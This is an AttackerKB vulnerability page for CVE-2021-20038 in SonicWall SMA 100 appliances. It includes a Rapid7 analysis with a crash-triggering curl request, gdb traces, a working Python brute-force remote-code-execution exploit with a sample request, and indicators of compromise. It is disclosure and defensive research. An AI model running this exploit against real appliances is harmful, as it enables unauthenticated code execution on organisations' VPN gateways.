Very High
CVE-2021-20038
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
Very High
(2 users assessed)Low
(2 users assessed)Unknown
Unknown
Unknown
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
A Stack-based buffer overflow vulnerability in SMA100 Apache httpd server’s mod_cgi module environment variables allows a remote unauthenticated attacker to potentially execute code as a ‘nobody’ user in the appliance. This vulnerability affected SMA 200, 210, 400, 410 and 500v appliances firmware 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv and earlier versions.
Add Assessment
Ratings
-
Attacker ValueHigh
-
ExploitabilityLow
Technical Analysis
This unauthenticated and remote stack-based buffer overflow allows an attacker to execute code on the remote SMA 100 series target. Exploitation can be a challenge though. For additional details, see the Rapid7 analysis.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueVery High
Technical Analysis
Exploited by North Korean state-sponsored attackers according to a July 2024 bulletin from multiple U.S. government agencies: https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a
Also made CISA’s “Routinely Exploited Vulnerabilities” list for 2022 (published in August 2023).
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportGeneral Information
Vendors
- SonicWall
Products
- SonicWall SMA100
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Additional Info
Technical Analysis
Description
On December 7, 2021, SonicWall released new firmware for their Secure Mobile Access (SMA) 100 series. SonicWall issued a security advisory on January 11, 2022 notifying users that the December releases fixed security issues found by Rapid7. The most critical issue, an unauthenticated stack-based buffer overflow in the web interface, allows remote attackers to execute arbitrary code as the nobody
user. The vulnerability was assigned CVE-2021-20038 and has a CVSS score of 9.8.
Prior to publication of this AttackerKB, no public proof of concept exploit existed. However, this entry contains proof of concept exploits and an extended discussion about crafting a payload to achieve unauthenticated remote code execution. This issue is not yet known to have been exploited in the wild.
Affected products
The following firmware versions for the SMA 100 series are affected:
- 10.2.1.2-24sv and earlier
- 10.2.1.1-19sv and earlier
- 10.2.1.0-17v and earlier
Neither the 9.x or 10.2.0.x versions are affected.
Rapid7 analysis
Note that the offsets and addresses discussed in this analysis are from SMA 10.2.1.1-19sv and they may vary slightly between versions.
CVE-2021-20038 is a stack-based buffer overflow that occurs within the httpd
binary. The SonicWall SMA 100 series uses a modified version of the Apache HTTP server. One of the SonicWall modifications introduced this vulnerability. The issue arises from how environment variables are concatenated into a string within mod_cgi.so
. Because the attacker-provided QUERY_STRING is not subject to any type of length check, an attacker can overflow a stack-based buffer via strcat
.
An overly long QUERY_STRING will also cause future bounds checks on the buffer to fail due to an integer overflow, resulting in a series of strcat
calls that further exceed the bounds of the stack-based buffer.
The following curl command demonstrates crashing the HTTP server:
albinolobster@ubuntu:~$ curl --insecure "https://10.0.0.7/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" curl: (52) Empty reply from server
From the view of gdb
the final strcat
call looks like the following. Note that the vulnerable buffer starts at 0xbfb6ae42 and is supposed to be limited to 400 bytes.
Breakpoint 1, 0xb69a88c3 in ?? () from /lib/mod_cgi.so (gdb) disas 0xb69a88c3,0xb69a88c8 Dump of assembler code from 0xb69a88c3 to 0xb69a88c8: => 0xb69a88c3: call 0xb69a6a0c <strcat@plt> End of assembler dump. (gdb) x/2wx $esp 0xbfb6acc0: 0xbfb6ae42 0x0969e9a8 (gdb) printf "%s\n", 0xbfb6ae42 10.0.0.9 QUERY_STRING=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA WAF_NOT_LICENSED=1SCRIPT_URL=/SCRIPT_URI=https://10.0.0.7/HTTPS=onHTTP_HOST=10.0.0.7HTTP_USER_AGENT=curl/7.74.0HTTP_ACCEPT=*/*SERVER_SIGNATURE=SERVER_SOFTWARE=SonicWALL SSL-VPN Web ServerSERVER_NAME=10.0.0.7SERVER_ADDR=10.0.0.7SERVER_PORT=443REMOTE_ADDR=10.0.0.9DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsREQUEST_SCHEME=httpsCONTEXT_PREFIX=CONTEXT_DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsSERVER_ADMIN=root@sslvpnSCRIPT_FILENAME=/usr/src/EasyAccess/www/cgi-bin/staticContentREMOTE_PORT=42326GATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=GET (gdb) printf "%s\n", 0x0969e9a8 REQUEST_URI=/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (gdb)
The overflow results in a crash that occurs due to an invalid memory access.
Program received signal SIGSEGV, Segmentation fault. 0xb69a8fe9 in ?? () from /lib/mod_cgi.so (gdb) disas 0xb69a8fe6,0xb69a8ff9 Dump of assembler code from 0xb69a8fe6 to 0xb69a8ff9: 0xb69a8fe6: mov 0x8(%ebp),%eax => 0xb69a8fe9: mov 0x110(%eax),%eax 0xb69a8fef: movl $0x2000,0x10(%esp) 0xb69a8ff7: movl $0x0,0x14(%esp) End of assembler dump. (gdb) print $eax $1 = 1094795585 (gdb) x/1wx $eax 0x41414141: Cannot access memory at address 0x41414141 (gdb) bt #0 0xb69a8fe9 in ?? () from /lib/mod_cgi.so #1 0x41413f2f in ?? () #2 0x41414141 in ?? () #3 0x41414141 in ?? () #4 0x41414141 in ?? () #5 0x41414141 in ?? () #6 0x41414141 in ?? ()
In the above GDB output, you can see that mod_cgi.so
attempts to dereference a pointer that had been stored at $ebp+8
, but it gets the invalid address of 0x41414141
or AAAA
. This is part of the “payload” we sent in the curl message. In fact, we can look back to $ebp-982
to see the entire environment array that overflowed the buffer:
(gdb) printf "%s\n", $ebp-982 10.0.0.9 QUERY_STRING=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA WAF_NOT_LICENSED=1SCRIPT_URL=/SCRIPT_URI=https://10.0.0.7/HTTPS=onHTTP_HOST=10.0.0.7HTTP_USER_AGENT=curl/7.74.0HTTP_ACCEPT=*/*SERVER_SIGNATURE=SERVER_SOFTWARE=SonicWALL SSL-VPN Web ServerSERVER_NAME=10.0.0.7SERVER_ADDR=10.0.0.7SERVER_PORT=443REMOTE_ADDR=10.0.0.9DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsREQUEST_SCHEME=httpsCONTEXT_PREFIX=CONTEXT_DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsSERVER_ADMIN=root@sslvpnSCRIPT_FILENAME=/usr/src/EasyAccess/www/cgi-bin/staticContentREMOTE_PORT=42326GATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=GETREQUEST_URI=/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASCRIPT_NAME=/index.html
mod_cgi.so
is attempting to load *(*($ebp+8)+0x110)
in order to pass it as the first parameter to ap_get_brigade
:
ap_get_brigade
is a normal Apache httpd function, so we can easily look up the source:
AP_DECLARE(apr_status_t) ap_get_brigade(ap_filter_t *next, apr_bucket_brigade *bb, ap_input_mode_t mode, apr_read_type_e block, apr_off_t readbytes) { if (next) { return next->frec->filter_func.in_func(next, bb, mode, block, readbytes); } return AP_NOBODY_READ; }
The parameter that we’ve overwritten with the buffer overflow is the first parameter: ap_filter_t* next
. This pointer, if it isn’t null, is used to call a function stored in memory. In theory, because the attacker overwrote this pointer, they can control the function being called, therefore resulting in unauthenticated remote code execution.
Writing an RCE Exploit
Under normal circumstances, a stack-based buffer overflow like this would typically be exploited by using ret
to return to an address of the attacker’s choice. However, due to the way logic flows in mod_cgi.so
, the attacker can’t reach a controllable ret
without first running into a long series of unavoidable potential memory access violations. As such, the most viable exploitation vector is by controlling the function call in ap_get_brigade
.
Before we talk about writing an exploit, we need to understand the exploitation mitigations deployed on the system and how, in particular, httpd
is affected by them.
root@sslvpn:~ # cat /proc/sys/kernel/randomize_va_space 2
Here we can see that SonicWall SMA 100 series enables full address space layout randomisation (ASLR) which means we should expect the stack, heap, libraries, and the main executable to all load at random addresses.
However, there are a few things about httpd
that weakens ASLR. The first is that the main executable, httpd
, is not compiled as a position independent executable so it does not load with a random base address. It will predictably load at 0x8048000
every single time.
root@sslvpn:~ # cat /proc/26775/maps 08048000-080e0000 r-xp 00000000 01:00 100949 /usr/src/EasyAccess/bin/httpd 080e0000-080e3000 rw-p 00098000 01:00 100949 /usr/src/EasyAccess/bin/httpd 080e3000-080e6000 rw-p 00000000 00:00 0
Furthermore, the httpd
server uses Apache’s prefork feature.
root@sslvpn:~ # /usr/src/EasyAccess/bin/httpd -l Compiled in modules: core.c mod_so.c http_core.c prefork.c
That means that httpd
forks a series of child processes to handle incoming HTTP requests. This is important because a forked child process has the exact same memory layout as the parent process. Which means that all the children will have the exact same stack, heap, and library addresses as the parent process. And, perhaps equally important to note, is that when a child process crashes, the main httpd
executable simply forks a new one to replace it. Which opens up the opportunity for the attacker to guess valid addresses.
Exploitation of ap_get_brigade
from our overflow is somewhat challenging in that it requires three dereferences and a pretty specific memory layout to control the function call. We did write a little program to hunt for such gadgets, and did ultimately find a couple but they weren’t usable (e.g. just resulted in new and frustrating memory access violations).
Without existing gadgets, we need to introduce the desired pattern to the system ourselves. That means getting the pattern in the heap or stack, and guessing it’s location correctly. The heap space for httpd
is actually quite large and, while the attacker can get an exploitable pattern into heap memory, predicting the address that uclibc might malloc it to was not an exercise we wanted to undertake (although quite likely doable). Which left me with introducing the exploitable pattern to the stack.
There are a couple of benefits to using the stack in this case. The first of which is that, because httpd
is a 32-bit executable, the stack’s top address only has 11-bits of randomness applied to it.
Byte 1 | Byte 2 | Bytes 3 | Byte 4 |
---|---|---|---|
0xbf | Highest bit always set | lowest 4 bits always 0 for page alignment | page aligned (aka 0) |
Which means we know that the stack’s top address will always be in the range of 0xbf800000 to 0xbffff000. Which narrows the potential stack top addresses to 2047 possibilities. Of course, we then need to guess the address of the actual $ebp+8
overwrite to land our exploit. But, we know that is going to be somewhere close to the top of the range. If we naively brute force a range of 0x2000 addresses for each top stack address then we should successfully guess the correct address within 16 million HTTP requests.
16 million is so many requests! It sure is. But remember, this is just a naive approach, likely vastly improved by someone who needs this to land. We are only establishing it’s possible. But we can still reduce this count a little bit more. We know that our target address will always be aligned to 0
. Which reduces the number of required requests to 1 million HTTP requests.
An astute reader and experienced exploit dev might point out that we can further reduce the number of requests by repeating the exploit over and over again in our payload. A great idea! Unfortunately, we have to contend with a variety of factors that limit our ability to repeat the exploit:
- The QUERY_STRING does not get url decoded so we can’t (reasonably) use the biggest part of the exploit to actually… exploit.
- The requested page does get URL decoded but there are limitations on size and decoding %00.
- The stack-based buffer overflow occurs so close to the top of the stack that an exploit that exceeds 1700 bytes risks either generating aa memory access violation by accessing top address +1 or simply overwriting a global variable we might need later (e.g. the env[] when calling
system
).
- A bunch of uninteresting, useless, or repeated environment variables are outside of our control and fill up a lot of the 1700 bytes.
Given those constraints, we wrote an exploit that attempted to brute force the exploitable address by sending all ~1 million HTTP GET requests. Again, it needs to be stressed that this can be improved greatly, and the following only serves as a “this is possible” type thing.
import socket import ssl import time base = 0xbf800000 curr = base step = 0x1000 base_array = [] while curr != 0xbffff000: base_array.append(curr) curr += step print("Generated " + hex(len(base_array)) + " stack top addr") all_array = [] for base in base_array: search_start = base - 0x2800 search_end = base - 0x0800 curr = search_start while curr != search_end: curr += 0x10 all_array.append(curr) print("Generated " + hex(len(all_array)) + " search addresses") print("Sending sploits...") for address in all_array: print(hex(address), end='\r') address -= 0x110 address += 4 # transform bytes into url encoded one = (address >> 24) & 0x000000ff two = (address >> 16) & 0x000000ff three = (address >> 8) & 0x000000ff four = (address & 0x000000ff) if one == 0 or two == 0 or three == 0 or four == 0: # the server won't accept a null byte continue addr_one = b"%" + str.encode('{:02x}'.format(four, 'x')) + b"%" + str.encode('{:02x}'.format(three, 'x')) + b"%" + str.encode('{:02x}'.format(two, 'x')) + b"%" + str.encode('{:02x}'.format(one, 'x')) address += 0x110 address += 4 # transform bytes into url encoded one = (address >> 24) & 0x000000ff two = (address >> 16) & 0x000000ff three = (address >> 8) & 0x000000ff four = (address & 0x000000ff) if one == 0x28 or two == 0x28 or three == 0x28 or four == 0x28: # oh no the guy that wrote this is a hack! Should have # shifted the payload so meta characters wouldn't matter. # oh well :( continue addr_two = b"%" + str.encode('{:02x}'.format(four, 'x')) + b"%" + str.encode('{:02x}'.format(three, 'x')) + b"%" + str.encode('{:02x}'.format(two, 'x')) + b"%" + str.encode('{:02x}'.format(one, 'x')) system_addr = b"%64%b8%06%08" shell_cmd = b";{touch,/tmp/lol};" #payload = ((b"%94%d7%ba%bf") + (b"%a8%d8%ba%bf") + (b"%a8%d8%ba%bf") + (b"%64%b8%06%08") + b";{touch,/tmp/lol};")*2 exploit = addr_one + addr_two + addr_two + system_addr + shell_cmd payload = exploit*2 spray_pray = b"/" + payload + b"?" + (b'z'*518) request = b'GET ' + spray_pray + b'\r\n\r\n' sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) wrappedSocket = ssl.wrap_socket(sock) wrappedSocket.connect(("10.0.0.7", 443)) wrappedSocket.send(request) wrappedSocket.recv(1280) wrappedSocket.close()
The most interesting part of the exploit is the generation of the GET request. Which, for example, will look something like this to the HTTP server:
GET /%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf%64%b8%06%08;{touch,/tmp/lol};%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf%64%b8%06%08;{touch,/tmp/lol};?zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
The exploit payload (which is repeated twice, although the exploit doesn’t capitalize on this) is four addresses and a string to pass to system:
- 0xbf7fd704
- 0xbf7fd818
- 0xbf7fd818
- 0x0806b864
- ;{touch,/tmp/lol};
The first address, when added with 0x110 and dereferenced, will resolve to the second address. When dereferenced, the second address points to the third and the third address plus four points to the fourth, which will resolve into a call to system
. The string passed to system
starts at 0xbf7d818 so there are a handful of bad characters before /bin/sh
reaches touch /tmp/lol
.
Testing the exploit on a target with a top stack address of 0xbfb6c000 resulted in successful exploitation after 4 hours and 43 minutes.
root@sslvpn:~ # date Thu Nov 25 03:29:39 PST 2021 root@sslvpn:~ # ls -l /tmp/lol ls: cannot access /tmp/lol: No such file or directory root@sslvpn:~ # ls -l /tmp/lol -rw-r--r-- 1 nobody nobody 0 Nov 25 08:05 /tmp/lol
As you can see, the attacker gains execution as nobody
.
The above exploit is bad for a bunch of reasons. Some follow:
- Could use a repeating pattern to guess multiple addresses in one HTTP request.
- Could use a smaller scan range (0x800 – 0x2800 is a very generous range).
- The exploit breaks if address 3 has bad shell characters in it (e.g.
(
).
The exploit also doesn’t consider alignment issues that would occur due to:
- The target using a hostname that isn’t
sslvpn
.
- A target IP and host IP that aren’t 8 bytes long.
- A destination port that isn’t 3 bytes long
- A source port that isn’t 5 bytes long.
None-the-less, this alone shows that even with challenges, this issue is absolutely exploitable and should be patched as soon as reasonably possible. We also addressed a number of these issues in a more mature exploit with a weaponized payload that you can find on GitHub.
Indicators of Compromise
The attack, especially as written above, is fairly noisy. The best place to look for indicators of compromise is the httpd.log
. This can be retrieved via the web interface: System –> Diagnostics –> Tech Support Report –> Download Report. The httpd.log
file will be within the zip archive. Logged segmentation faults are potential signs of compromise. Here is a snippet from my system’s httpd.log
after exploitation:
[Thu Nov 25 13:30:11.805181 2021] [core:notice] [pid 1779] AH00052: child pid 30485 exit signal Segmentation fault (11) [Thu Nov 25 13:30:11.805375 2021] [core:notice] [pid 1779] AH00052: child pid 30486 exit signal Segmentation fault (11) [Thu Nov 25 13:30:11.805571 2021] [core:notice] [pid 1779] AH00052: child pid 30487 exit signal Segmentation fault (11) [Thu Nov 25 13:30:11.805765 2021] [core:notice] [pid 1779] AH00052: child pid 30488 exit signal Segmentation fault (11) [Thu Nov 25 13:30:11.843348 2021] [core:notice] [pid 1779] AH00052: child pid 30489 exit signal Segmentation fault (11) [Thu Nov 25 13:30:11.843583 2021] [core:notice] [pid 1779] AH00052: child pid 30490 exit signal Segmentation fault (11) [Thu Nov 25 13:30:11.843785 2021] [core:notice] [pid 1779] AH00052: child pid 30491 exit signal Segmentation fault (11) [Thu Nov 25 13:30:11.843983 2021] [core:notice] [pid 1779] AH00052: child pid 30492 exit signal Segmentation fault (11) [Thu Nov 25 13:30:11.844214 2021] [core:notice] [pid 1779] AH00052: child pid 30493 exit signal Segmentation fault (11)
Realistically, an attacker can delete this log file shortly after exploiting the system, but it’s worthwhile for catching both exploitation attempts and attackers that don’t properly clean up after themselves.
The status.txt
log might also be of interest. Specifically, it displays all ps
output showing all running processes. Unfortunately, reviewing this log requires some familiarity with things that should and should not be running on the system which can be very hard to know for a layperson. Reviewing this output on my system, we can easily identify gdb
and busybox
as anomalies.
Processes ----------------------------------------------------------------- USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 2068 584 ? Ss Nov27 0:42 init [3] root 2 0.0 0.0 0 0 ? S Nov27 0:00 [kthreadd] root 3 0.0 0.0 0 0 ? S Nov27 0:00 [ksoftirqd/0] root 4 0.0 0.0 0 0 ? S Nov27 0:00 [kworker/0:0] root 5 0.0 0.0 0 0 ? S< Nov27 0:00 [kworker/0:0H] root 6 0.0 0.0 0 0 ? S Nov27 0:00 [kworker/u4:0] root 7 0.0 0.0 0 0 ? S Nov27 2:12 [rcu_sched] root 8 0.0 0.0 0 0 ? S Nov27 0:00 [rcu_bh] root 9 0.0 0.0 0 0 ? S Nov27 0:06 [migration/0] root 10 0.0 0.0 0 0 ? S Nov27 0:15 [migration/1] root 11 0.0 0.0 0 0 ? S Nov27 0:01 [ksoftirqd/1] root 13 0.0 0.0 0 0 ? S< Nov27 0:00 [kworker/1:0H] root 14 0.0 0.0 0 0 ? S< Nov27 0:00 [khelper] root 15 0.0 0.0 0 0 ? S< Nov27 0:00 [netns] root 461 0.0 0.0 0 0 ? S< Nov27 0:00 [writeback] root 463 0.0 0.0 0 0 ? S< Nov27 0:00 [bioset] root 465 0.0 0.0 0 0 ? S< Nov27 0:00 [kblockd] root 622 0.0 0.0 0 0 ? S< Nov27 0:00 [ata_sff] root 632 0.0 0.0 0 0 ? S Nov27 0:00 [khubd] root 742 0.0 0.0 0 0 ? S Nov27 0:01 [kworker/0:1] root 757 0.0 0.0 0 0 ? S Nov27 0:00 [kswapd0] root 758 0.0 0.0 0 0 ? SN Nov27 0:00 [ksmd] root 825 0.0 0.0 0 0 ? SN Nov27 0:00 [khugepaged] root 826 0.0 0.0 0 0 ? S Nov27 0:00 [fsnotify_mark] root 845 0.0 0.0 0 0 ? S< Nov27 0:00 [crypto] root 1011 0.0 0.0 0 0 ? S Nov27 0:01 [kworker/1:1] root 1061 0.0 0.0 0 0 ? S< Nov27 0:00 [iscsi_eh] root 1065 0.0 0.0 0 0 ? S< Nov27 0:00 [kworker/0:1H] root 1069 0.0 0.0 0 0 ? S< Nov27 0:00 [fc_exch_workque] root 1070 0.0 0.0 0 0 ? S< Nov27 0:00 [fc_rport_eq] root 1071 0.0 0.0 0 0 ? S< Nov27 0:00 [fcoethread/0] root 1072 0.0 0.0 0 0 ? S< Nov27 0:00 [fcoethread/1] root 1075 0.0 0.0 0 0 ? S< Nov27 0:00 [fnic_event_wq] root 1076 0.0 0.0 0 0 ? S< Nov27 0:00 [fnic_fip_q] root 1078 0.0 0.0 0 0 ? S< Nov27 0:00 [bnx2fc_l2_threa] root 1079 0.0 0.0 0 0 ? S< Nov27 0:00 [bnx2fc_thread/0] root 1080 0.0 0.0 0 0 ? S< Nov27 0:00 [bnx2fc_thread/1] root 1107 0.0 0.0 0 0 ? S Nov27 0:00 [scsi_eh_0] root 1149 0.0 0.0 0 0 ? S< Nov27 0:00 [bnx2i_thread/0] root 1150 0.0 0.0 0 0 ? S< Nov27 0:00 [bnx2i_thread/1] root 1197 0.0 0.0 0 0 ? S< Nov27 0:00 [bond0] root 1244 0.0 0.0 0 0 ? S< Nov27 0:00 [cnic_wq] root 1246 0.0 0.0 0 0 ? S< Nov27 0:00 [cxgb4] root 1257 0.0 0.0 0 0 ? S Nov27 0:00 [kworker/1:2] root 1308 0.0 0.0 0 0 ? S< Nov27 0:00 [deferwq] root 1322 0.0 0.0 0 0 ? S Nov27 0:00 [kjournald] root 1328 0.0 0.0 0 0 ? S< Nov27 0:00 [loop0] root 1407 0.0 0.0 13752 2744 ? Sl Nov27 1:45 /usr/sbin/vmtoolsd root 1408 0.0 0.0 0 0 ? S< Nov27 0:00 [kworker/1:1H] root 1435 0.0 0.0 2376 588 ? Ss Nov27 0:00 /usr/sbin/fcron root 1447 0.0 0.4 19712 16996 pts/1 S+ 03:51 0:00 ./gdb -p 30092 root 1483 0.0 1.4 93152 59728 ? Sl Nov27 0:55 /usr/bin/python3.6 /usr/src/EasyAccess/www/python/authentication_api/restful_api.py nobody 1526 0.0 0.0 0 0 ? Z 03:52 0:00 [staticContent] <defunct> root 1551 0.0 0.2 20720 11124 ? Ss Nov27 1:42 /usr/src/EasyAccess/bin/smm -d root 1627 0.0 0.0 1904 224 ? Ss Nov27 0:00 /usr/sbin/ntpUpdate -d -i 3600 -p time.nist.gov -s time.windows.com root 1634 0.0 0.0 2120 596 ? Ss Nov27 0:00 /usr/sbin/syslogd -m 0 root 1639 0.0 0.0 3136 1684 ? Ss Nov27 0:00 /usr/sbin/klogd -c 1 root 1712 0.0 0.0 13208 1980 ? Ss Nov27 0:00 /usr/sbin/crlUpdate -d -i 1440 root 1719 0.0 0.0 13828 1968 ? Ss Nov27 0:03 htcacheclean -nti -d60 -l5M -p/var/webcache root 1735 0.0 0.0 13164 1740 ? Ss Nov27 0:00 /usr/src/EasyAccess/bin/anonySessionD root 1737 0.0 0.0 13164 1492 ? S Nov27 0:00 /usr/src/EasyAccess/bin/anonySessionD root 1740 0.0 0.0 14320 3484 ? Ss Nov27 0:00 /usr/src/EasyAccess/bin/firebase -d root 1748 0.0 0.3 45472 15316 ? Sl Nov27 0:00 /usr/bin/node /usr/src/EasyAccess/bin/js/master.js root 1749 0.0 0.0 2080 268 ? S Nov27 0:00 cat root 1752 0.0 0.3 45308 15408 ? Sl Nov27 0:00 /usr/bin/node --debug-port=5859 /usr/src/EasyAccess/bin/js/ssoProxy.js root 1760 0.0 0.0 13616 2116 ? Ss Nov27 0:00 /usr/src/EasyAccess/bin/wireguard -d root 1779 0.8 0.2 23468 8940 ? Ss Nov27 21:47 /usr/src/EasyAccess/bin/httpd root 1805 0.0 0.0 13852 2556 ? Ss Nov27 0:00 /usr/src/EasyAccess/bin/ftpsession -d root 1811 0.1 0.0 13916 3936 ? S<s Nov27 2:51 /usr/src/EasyAccess/bin/graphd -d root 1820 0.0 0.0 13356 1816 ? Ss Nov27 0:00 /usr/src/EasyAccess/bin/rootHelper -d root 1832 0.0 0.0 54412 2548 ? Ssl Nov27 0:04 /usr/src/EasyAccess/bin/dhcpcd -d root 1851 0.0 0.1 15968 5260 ? Ss Nov27 0:06 /usr/src/EasyAccess/bin/nxlog -d root 1867 0.0 0.0 13304 3152 ? S Nov27 0:00 /usr/src/EasyAccess/bin/downloadclient -d root 1893 0.0 0.0 13204 2512 ? S Nov27 0:00 /usr/sbin/LicenseManager root 1894 0.0 0.0 13200 2600 ? S Nov27 0:00 /usr/sbin/PKGDownload root 1897 0.0 0.0 13772 3708 ? Ss Nov27 0:16 /usr/src/EasyAccess/bin/HA -d root 1922 0.0 0.1 15224 5976 ? Ss Nov27 0:00 /usr/sbin/updateAgent -d root 1923 0.0 0.0 13172 2556 ? S Nov27 0:06 /usr/sbin/watchdog root 1924 0.0 0.1 13708 4948 ? S Nov27 0:14 /usr/sbin/swMonitor root 2205 0.0 0.0 0 0 ? S Nov28 0:00 [kworker/u4:2] root 2379 0.0 0.0 2048 432 tty1 Ss+ Nov27 0:00 /sbin/mingetty tty1 root 2380 0.0 0.0 2048 432 tty2 Ss+ Nov27 0:00 /sbin/mingetty tty2 root 4284 0.0 0.0 1136 64 ? Ss Nov27 0:00 ./busybox telnetd root 4301 0.0 0.0 3564 1768 pts/0 Ss+ Nov27 0:00 -cli root 4346 0.0 0.0 3488 1752 pts/1 Ss Nov27 0:00 -cli nobody 18542 0.0 0.2 25772 12268 ? S 07:41 0:00 /usr/src/EasyAccess/bin/httpd nobody 21363 0.0 0.7 44288 29776 ? S 08:19 0:01 /usr/src/EasyAccess/bin/httpd nobody 24039 0.0 0.7 44344 30100 ? S 08:55 0:00 /usr/src/EasyAccess/bin/httpd nobody 24259 0.0 0.7 44288 29776 ? S 08:58 0:01 /usr/src/EasyAccess/bin/httpd nobody 27511 0.0 0.7 44340 30128 ? S 09:42 0:01 /usr/src/EasyAccess/bin/httpd nobody 30092 0.0 0.2 25772 12200 ? t 03:01 0:00 /usr/src/EasyAccess/bin/httpd nobody 30331 1.1 0.7 44284 29316 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd nobody 